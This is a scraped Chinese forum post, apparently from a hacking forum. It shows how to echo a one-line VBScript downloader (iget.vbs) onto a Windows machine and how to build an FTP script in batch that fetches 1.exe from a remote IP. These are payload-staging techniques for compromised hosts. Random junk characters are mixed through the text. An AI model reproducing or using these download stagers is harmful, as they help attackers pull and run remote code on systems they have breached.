- 在线时间
- 0 小时
- 最后登录
- 2007-9-23
- 注册时间
- 2004-9-10
- 听众数
- 3
- 收听数
- 0
- 能力
- 0 分
- 体力
- 9975 点
- 威望
- 7 点
- 阅读权限
- 150
- 积分
- 4048
- 相册
- 0
- 日志
- 0
- 记录
- 0
- 帖子
- 1893
- 主题
- 823
- 精华
- 2
- 分享
- 0
- 好友
- 0

我的地盘我做主
该用户从未签到
 |
< >解决办法:
7 h* v! c3 w; _! j9 Q# v, t1.iget.vbs一次写入
* Y t( x6 D7 ]9 q9 C% F/ F在vbs语句的接触是符号是: 所以我们iget.vbs可以这样写 ! K: S @& ]9 A9 T
8 t. O1 j4 \9 @! X8 F
Set x= CreateObject("Microsoft.XMLHTTP"):x.Open "GET",LCase(WScript.Arguments(0)),0:x.Send():Set s = CreateObject("ADODB.Stream"):s.Mode = 3:s.Type = 1:s.Open():s.Write(x.responseBody):s.SaveToFile LCase(WScript.Arguments(1)),2 & y# z- a y6 C- o& ~# O H
+ O3 L6 E% Y6 ~1 L" `这样我们可以一次echo成功,echo版本: 3 |2 b8 V5 i! o, }; \# ~: j
. K& w2 Q/ I1 A+ ~% m9 W( L
echo Set x= CreateObject(^"Microsoft.XMLHTTP^"):x.Open ^"GET^",LCase(WScript.Arguments(0)),0:x.Send():Set s = CreateObject(^"ADODB.Stream^"):s.Mode = 3:s.Type = 1:s.Open():s.Write(x.responseBody):s.SaveToFile LCase(WScript.Arguments(1)),2 >iget.vbs
8 ?+ s7 Y& _7 @: ?0 d) J J7 z& h: A, p" M9 [, r+ O3 P7 e
- \. \7 k( G9 C# K2.bat调用ftp脚本的写法(by envymask)
& t; g9 F! o7 ?" e3 d, u/ y4 f8 x) k+ z# k: Q
echo ftp>1.vbs
: Q/ Z; @1 q( [0 eecho open ip>2.vbs
; C+ X1 h. ~( @7 hecho u>3.vbs
: v$ D+ h1 M& d/ x% necho s>4.vbs
6 v" N- u- b% q2 G: q3 g/ @* becho binary>5.vbs $ i3 T1 K/ a5 p; @
echo get 1.exe>6.vbs , ~8 c# D: O U, J
echo bay>7.vbs / k' o3 H$ O& e! ?2 J0 r$ v3 b$ I
1 A; o7 Q" L( R! ?! p [) ccopy 1.vbs+2.vbs+3.vbs+4.vbs+5.vbs+6.vbs+7.vbs new.vbs 7 ]) a8 Z' N- r3 K7 U l/ v3 ?
</P> |
zan
|